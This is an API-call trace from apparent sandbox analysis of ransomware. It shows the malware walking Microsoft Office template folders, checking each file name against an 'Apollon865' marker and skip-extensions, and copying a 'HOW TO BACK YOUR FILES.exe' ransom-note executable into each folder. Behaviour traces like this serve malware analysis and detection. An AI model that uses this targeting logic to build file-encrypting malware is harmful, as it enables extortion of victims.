	[0062.699] lstrlenW (lpString=".sys") returned 4
	[0062.699] lstrcmpiW (lpString1="ExecutiveNewsletter.dotx", lpString2=".sys") returned 1
	[0062.699] lstrlenW (lpString="ExecutiveNewsletter.dotx") returned 24
	[0062.700] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ExecutiveReport.dotx" | out: lpString1="ExecutiveReport.dotx") returned="ExecutiveReport.dotx"
	[0062.700] lstrlenW (lpString="ExecutiveReport.dotx") returned 20
	[0062.700] lstrlenW (lpString="Apollon865") returned 10
	[0062.700] lstrcmpiW (lpString1="eport.dotx", lpString2="Apollon865") returned 1
	[0062.700] lstrlenW (lpString=".dll") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveReport.dotx", lpString2=".dll") returned 1
	[0062.700] lstrlenW (lpString=".lnk") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveReport.dotx", lpString2=".lnk") returned 1
	[0062.700] lstrlenW (lpString=".ini") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveReport.dotx", lpString2=".ini") returned 1
	[0062.700] lstrlenW (lpString=".sys") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveReport.dotx", lpString2=".sys") returned 1
	[0062.700] lstrlenW (lpString="ExecutiveReport.dotx") returned 20
	[0062.700] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ExecutiveResume.dotx" | out: lpString1="ExecutiveResume.dotx") returned="ExecutiveResume.dotx"
	[0062.700] lstrlenW (lpString="ExecutiveResume.dotx") returned 20
	[0062.700] lstrlenW (lpString="Apollon865") returned 10
	[0062.700] lstrcmpiW (lpString1="esume.dotx", lpString2="Apollon865") returned 1
	[0062.700] lstrlenW (lpString=".dll") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveResume.dotx", lpString2=".dll") returned 1
	[0062.700] lstrlenW (lpString=".lnk") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveResume.dotx", lpString2=".lnk") returned 1
	[0062.700] lstrlenW (lpString=".ini") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveResume.dotx", lpString2=".ini") returned 1
	[0062.700] lstrlenW (lpString=".sys") returned 4
	[0062.700] lstrcmpiW (lpString1="ExecutiveResume.dotx", lpString2=".sys") returned 1
	[0062.700] lstrlenW (lpString="ExecutiveResume.dotx") returned 20
	[0062.700] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ExpenseReport.xltx" | out: lpString1="ExpenseReport.xltx") returned="ExpenseReport.xltx"
	[0062.700] lstrlenW (lpString="ExpenseReport.xltx") returned 18
	[0062.700] lstrlenW (lpString="Apollon865") returned 10
	[0062.700] lstrcmpiW (lpString1="eport.xltx", lpString2="Apollon865") returned 1
	[0062.701] lstrlenW (lpString=".dll") returned 4
	[0062.701] lstrcmpiW (lpString1="ExpenseReport.xltx", lpString2=".dll") returned 1
	[0062.701] lstrlenW (lpString=".lnk") returned 4
	[0062.701] lstrcmpiW (lpString1="ExpenseReport.xltx", lpString2=".lnk") returned 1
	[0062.701] lstrlenW (lpString=".ini") returned 4
	[0062.701] lstrcmpiW (lpString1="ExpenseReport.xltx", lpString2=".ini") returned 1
	[0062.701] lstrlenW (lpString=".sys") returned 4
	[0062.701] lstrcmpiW (lpString1="ExpenseReport.xltx", lpString2=".sys") returned 1
	[0062.701] lstrlenW (lpString="ExpenseReport.xltx") returned 18
	[0062.701] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="FAX" | out: lpString1="FAX") returned="FAX"
	[0062.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0062.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa10
	[0062.701] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0062.701] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1
	[0062.701] lstrcmpiW (lpString1="FiveRules.potx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.701] lstrcmpiW (lpString1="FiveRules.potx", lpString2="Apollon865.txt.exe") returned 1
	[0062.701] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="FiveRules.potx" | out: lpString1="FiveRules.potx") returned="FiveRules.potx"
	[0062.701] lstrlenW (lpString="FiveRules.potx") returned 14
	[0062.701] lstrlenW (lpString="Apollon865") returned 10
	[0062.701] lstrcmpiW (lpString1="Rules.potx", lpString2="Apollon865") returned 1
	[0062.701] lstrlenW (lpString=".dll") returned 4
	[0062.701] lstrcmpiW (lpString1="FiveRules.potx", lpString2=".dll") returned 1
	[0062.701] lstrlenW (lpString=".lnk") returned 4
	[0062.701] lstrcmpiW (lpString1="FiveRules.potx", lpString2=".lnk") returned 1
	[0062.701] lstrlenW (lpString=".ini") returned 4
	[0062.701] lstrcmpiW (lpString1="FiveRules.potx", lpString2=".ini") returned 1
	[0062.701] lstrlenW (lpString=".sys") returned 4
	[0062.701] lstrcmpiW (lpString1="FiveRules.potx", lpString2=".sys") returned 1
	[0062.701] lstrlenW (lpString="FiveRules.potx") returned 14
	[0062.702] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="IntroducingPowerPoint2010.potx" | out: lpString1="IntroducingPowerPoint2010.potx") returned="IntroducingPowerPoint2010.potx"
	[0062.702] lstrlenW (lpString="IntroducingPowerPoint2010.potx") returned 30
	[0062.702] lstrlenW (lpString="Apollon865") returned 10
	[0062.702] lstrcmpiW (lpString1="t2010.potx", lpString2="Apollon865") returned 1
	[0062.702] lstrlenW (lpString=".dll") returned 4
	[0062.702] lstrcmpiW (lpString1="IntroducingPowerPoint2010.potx", lpString2=".dll") returned 1
	[0062.702] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="LoanAmortization.xltx" | out: lpString1="LoanAmortization.xltx") returned="LoanAmortization.xltx"
	[0062.702] lstrlenW (lpString="LoanAmortization.xltx") returned 21
	[0062.702] lstrlenW (lpString="Apollon865") returned 10
	[0062.702] lstrcmpiW (lpString1="ation.xltx", lpString2="Apollon865") returned 1
	[0062.702] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MedianLetter.Dotx" | out: lpString1="MedianLetter.Dotx") returned="MedianLetter.Dotx"
	[0062.702] lstrlenW (lpString="MedianLetter.Dotx") returned 17
	[0062.702] lstrlenW (lpString="Apollon865") returned 10
	[0062.702] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.702] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MedianMergeFax.Dotx" | out: lpString1="MedianMergeFax.Dotx") returned="MedianMergeFax.Dotx"
	[0062.702] lstrlenW (lpString="MedianMergeFax.Dotx") returned 19
	[0062.702] lstrlenW (lpString="Apollon865") returned 10
	[0062.702] lstrcmpiW (lpString1="geFax.Dotx", lpString2="Apollon865") returned 1
	[0062.702] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MedianMergeLetter.Dotx" | out: lpString1="MedianMergeLetter.Dotx") returned="MedianMergeLetter.Dotx"
	[0062.702] lstrlenW (lpString="MedianMergeLetter.Dotx") returned 22
	[0062.702] lstrlenW (lpString="Apollon865") returned 10
	[0062.702] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.702] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MedianReport.Dotx" | out: lpString1="MedianReport.Dotx") returned="MedianReport.Dotx"
	[0062.702] lstrlenW (lpString="MedianReport.Dotx") returned 17
	[0062.703] lstrlenW (lpString="Apollon865") returned 10
	[0062.703] lstrcmpiW (lpString1="eport.Dotx", lpString2="Apollon865") returned 1
	[0062.703] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MedianResume.Dotx" | out: lpString1="MedianResume.Dotx") returned="MedianResume.Dotx"
	[0062.703] lstrlenW (lpString="MedianResume.Dotx") returned 17
	[0062.703] lstrlenW (lpString="Apollon865") returned 10
	[0062.703] lstrcmpiW (lpString1="esume.Dotx", lpString2="Apollon865") returned 1
	[0062.703] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Office Word 2003 Look.dotx" | out: lpString1="Office Word 2003 Look.dotx") returned="Office Word 2003 Look.dotx"
	[0062.703] lstrlenW (lpString="Office Word 2003 Look.dotx") returned 26
	[0062.703] lstrlenW (lpString="Apollon865") returned 10
	[0062.703] lstrcmpiW (lpString1=" Look.dotx", lpString2="Apollon865") returned -1
	[0062.703] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ONENOTE" | out: lpString1="ONENOTE") returned="ONENOTE"
	[0062.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0062.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0062.703] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0062.703] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1
	[0062.703] lstrcmpiW (lpString1="OrielLetter.Dotx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.703] lstrcmpiW (lpString1="OrielLetter.Dotx", lpString2="Apollon865.txt.exe") returned 1
	[0062.703] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OrielLetter.Dotx" | out: lpString1="OrielLetter.Dotx") returned="OrielLetter.Dotx"
	[0062.703] lstrlenW (lpString="OrielLetter.Dotx") returned 16
	[0062.703] lstrlenW (lpString="Apollon865") returned 10
	[0062.703] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.703] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OrielMergeFax.Dotx" | out: lpString1="OrielMergeFax.Dotx") returned="OrielMergeFax.Dotx"
	[0062.703] lstrlenW (lpString="OrielMergeFax.Dotx") returned 18
	[0062.703] lstrlenW (lpString="Apollon865") returned 10
	[0062.703] lstrcmpiW (lpString1="geFax.Dotx", lpString2="Apollon865") returned 1
	[0062.704] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OrielMergeLetter.Dotx" | out: lpString1="OrielMergeLetter.Dotx") returned="OrielMergeLetter.Dotx"
	[0062.704] lstrlenW (lpString="OrielMergeLetter.Dotx") returned 21
	[0062.704] lstrlenW (lpString="Apollon865") returned 10
	[0062.704] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.704] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OrielReport.Dotx" | out: lpString1="OrielReport.Dotx") returned="OrielReport.Dotx"
	[0062.704] lstrlenW (lpString="OrielReport.Dotx") returned 16
	[0062.704] lstrlenW (lpString="Apollon865") returned 10
	[0062.704] lstrcmpiW (lpString1="eport.Dotx", lpString2="Apollon865") returned 1
	[0062.704] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OrielResume.Dotx" | out: lpString1="OrielResume.Dotx") returned="OrielResume.Dotx"
	[0062.704] lstrlenW (lpString="OrielResume.Dotx") returned 16
	[0062.704] lstrlenW (lpString="Apollon865") returned 10
	[0062.704] lstrcmpiW (lpString1="esume.Dotx", lpString2="Apollon865") returned 1
	[0062.705] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OriginLetter.Dotx" | out: lpString1="OriginLetter.Dotx") returned="OriginLetter.Dotx"
	[0062.705] lstrlenW (lpString="OriginLetter.Dotx") returned 17
	[0062.705] lstrlenW (lpString="Apollon865") returned 10
	[0062.705] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.705] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OriginMergeFax.Dotx" | out: lpString1="OriginMergeFax.Dotx") returned="OriginMergeFax.Dotx"
	[0062.705] lstrlenW (lpString="OriginMergeFax.Dotx") returned 19
	[0062.705] lstrlenW (lpString="Apollon865") returned 10
	[0062.705] lstrcmpiW (lpString1="geFax.Dotx", lpString2="Apollon865") returned 1
	[0062.705] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OriginMergeLetter.Dotx" | out: lpString1="OriginMergeLetter.Dotx") returned="OriginMergeLetter.Dotx"
	[0062.705] lstrlenW (lpString="OriginMergeLetter.Dotx") returned 22
	[0062.705] lstrlenW (lpString="Apollon865") returned 10
	[0062.705] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.705] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OriginReport.Dotx" | out: lpString1="OriginReport.Dotx") returned="OriginReport.Dotx"
	[0062.705] lstrlenW (lpString="OriginReport.Dotx") returned 17
	[0062.705] lstrlenW (lpString="Apollon865") returned 10
	[0062.705] lstrcmpiW (lpString1="eport.Dotx", lpString2="Apollon865") returned 1
	[0062.705] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="OriginResume.Dotx" | out: lpString1="OriginResume.Dotx") returned="OriginResume.Dotx"
	[0062.705] lstrlenW (lpString="OriginResume.Dotx") returned 17
	[0062.705] lstrlenW (lpString="Apollon865") returned 10
	[0062.705] lstrcmpiW (lpString1="esume.Dotx", lpString2="Apollon865") returned 1
	[0062.706] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="PersonalMonthlyBudget.xltx" | out: lpString1="PersonalMonthlyBudget.xltx") returned="PersonalMonthlyBudget.xltx"
	[0062.706] lstrlenW (lpString="PersonalMonthlyBudget.xltx") returned 26
	[0062.706] lstrlenW (lpString="Apollon865") returned 10
	[0062.706] lstrcmpiW (lpString1="udget.xltx", lpString2="Apollon865") returned 1
	[0062.706] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Pitchbook.potx" | out: lpString1="Pitchbook.potx") returned="Pitchbook.potx"
	[0062.706] lstrlenW (lpString="Pitchbook.potx") returned 14
	[0062.706] lstrlenW (lpString="Apollon865") returned 10
	[0062.706] lstrcmpiW (lpString1="hbook.potx", lpString2="Apollon865") returned 1
	[0062.706] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ProjectStatusReport.potx" | out: lpString1="ProjectStatusReport.potx") returned="ProjectStatusReport.potx"
	[0062.706] lstrlenW (lpString="ProjectStatusReport.potx") returned 24
	[0062.706] lstrlenW (lpString="Apollon865") returned 10
	[0062.706] lstrcmpiW (lpString1="eport.potx", lpString2="Apollon865") returned 1
	[0062.706] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="PROJPLAN.XLTX" | out: lpString1="PROJPLAN.XLTX") returned="PROJPLAN.XLTX"
	[0062.706] lstrlenW (lpString="PROJPLAN.XLTX") returned 13
	[0062.706] lstrlenW (lpString="Apollon865") returned 10
	[0062.706] lstrcmpiW (lpString1="JPLAN.XLTX", lpString2="Apollon865") returned 1
	[0062.706] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="QuizShow.potx" | out: lpString1="QuizShow.potx") returned="QuizShow.potx"
	[0062.706] lstrlenW (lpString="QuizShow.potx") returned 13
	[0062.706] lstrlenW (lpString="Apollon865") returned 10
	[0062.706] lstrcmpiW (lpString1="zShow.potx", lpString2="Apollon865") returned 1
	[0062.706] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="SalesReport.xltx" | out: lpString1="SalesReport.xltx") returned="SalesReport.xltx"
	[0062.706] lstrlenW (lpString="SalesReport.xltx") returned 16
	[0062.706] lstrlenW (lpString="Apollon865") returned 10
	[0062.706] lstrcmpiW (lpString1="eport.xltx", lpString2="Apollon865") returned 1
	[0062.707] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="TASKLIST.XLTX" | out: lpString1="TASKLIST.XLTX") returned="TASKLIST.XLTX"
	[0062.707] lstrlenW (lpString="TASKLIST.XLTX") returned 13
	[0062.707] lstrlenW (lpString="Apollon865") returned 10
	[0062.707] lstrcmpiW (lpString1="KLIST.XLTX", lpString2="Apollon865") returned 1
	[0062.707] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="TimeCard.xltx" | out: lpString1="TimeCard.xltx") returned="TimeCard.xltx"
	[0062.707] lstrlenW (lpString="TimeCard.xltx") returned 13
	[0062.707] lstrlenW (lpString="Apollon865") returned 10
	[0062.707] lstrcmpiW (lpString1="eCard.xltx", lpString2="Apollon865") returned 1
	[0062.707] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Training.potx" | out: lpString1="Training.potx") returned="Training.potx"
	[0062.707] lstrlenW (lpString="Training.potx") returned 13
	[0062.707] lstrlenW (lpString="Apollon865") returned 10
	[0062.707] lstrcmpiW (lpString1="ining.potx", lpString2="Apollon865") returned 1
	[0062.707] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UrbanLetter.Dotx" | out: lpString1="UrbanLetter.Dotx") returned="UrbanLetter.Dotx"
	[0062.707] lstrlenW (lpString="UrbanLetter.Dotx") returned 16
	[0062.707] lstrlenW (lpString="Apollon865") returned 10
	[0062.707] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.707] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UrbanMergeFax.Dotx" | out: lpString1="UrbanMergeFax.Dotx") returned="UrbanMergeFax.Dotx"
	[0062.707] lstrlenW (lpString="UrbanMergeFax.Dotx") returned 18
	[0062.707] lstrlenW (lpString="Apollon865") returned 10
	[0062.707] lstrcmpiW (lpString1="geFax.Dotx", lpString2="Apollon865") returned 1
	[0062.707] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UrbanMergeLetter.Dotx" | out: lpString1="UrbanMergeLetter.Dotx") returned="UrbanMergeLetter.Dotx"
	[0062.707] lstrlenW (lpString="UrbanMergeLetter.Dotx") returned 21
	[0062.707] lstrlenW (lpString="Apollon865") returned 10
	[0062.707] lstrcmpiW (lpString1="etter.Dotx", lpString2="Apollon865") returned 1
	[0062.708] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UrbanPhotoAlbum.potx" | out: lpString1="UrbanPhotoAlbum.potx") returned="UrbanPhotoAlbum.potx"
	[0062.708] lstrlenW (lpString="UrbanPhotoAlbum.potx") returned 20
	[0062.708] lstrlenW (lpString="Apollon865") returned 10
	[0062.708] lstrcmpiW (lpString1="Album.potx", lpString2="Apollon865") returned -1
	[0062.708] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UrbanReport.Dotx" | out: lpString1="UrbanReport.Dotx") returned="UrbanReport.Dotx"
	[0062.708] lstrlenW (lpString="UrbanReport.Dotx") returned 16
	[0062.708] lstrlenW (lpString="Apollon865") returned 10
	[0062.708] lstrcmpiW (lpString1="eport.Dotx", lpString2="Apollon865") returned 1
	[0062.708] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="UrbanResume.Dotx" | out: lpString1="UrbanResume.Dotx") returned="UrbanResume.Dotx"
	[0062.708] lstrlenW (lpString="UrbanResume.Dotx") returned 16
	[0062.708] lstrlenW (lpString="Apollon865") returned 10
	[0062.708] lstrcmpiW (lpString1="esume.Dotx", lpString2="Apollon865") returned 1
	[0062.708] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="WidescreenPresentation.potx" | out: lpString1="WidescreenPresentation.potx") returned="WidescreenPresentation.potx"
	[0062.708] lstrlenW (lpString="WidescreenPresentation.potx") returned 27
	[0062.708] lstrlenW (lpString="Apollon865") returned 10
	[0062.708] lstrcmpiW (lpString1="ation.potx", lpString2="Apollon865") returned 1
	[0062.708] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE"
	[0062.708] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.708] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE") returned 56
	[0062.708] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE"
	[0062.708] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.708] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.713] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d72aa10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d72aa10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.713] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.713] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.713] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="14" | out: lpString1="14") returned="14"
	[0062.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0062.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0062.713] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0062.713] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d72aa10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d72aa10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.713] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.713] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d72aa10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d72aa10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.713] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.714] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0062.714] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14"
	[0062.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned 59
	[0062.714] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14"
	[0062.714] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.714] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.718] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d750b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d750b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.718] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.719] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.719] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Notebook Templates" | out: lpString1="Notebook Templates") returned="Notebook Templates"
	[0062.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0062.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x5cafd0
	[0062.719] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7bd0
	[0062.719] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0062.719] lstrcmpiW (lpString1="Stationery", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.719] lstrcmpiW (lpString1="Stationery", lpString2="Apollon865.txt.exe") returned 1
	[0062.719] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery"
	[0062.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
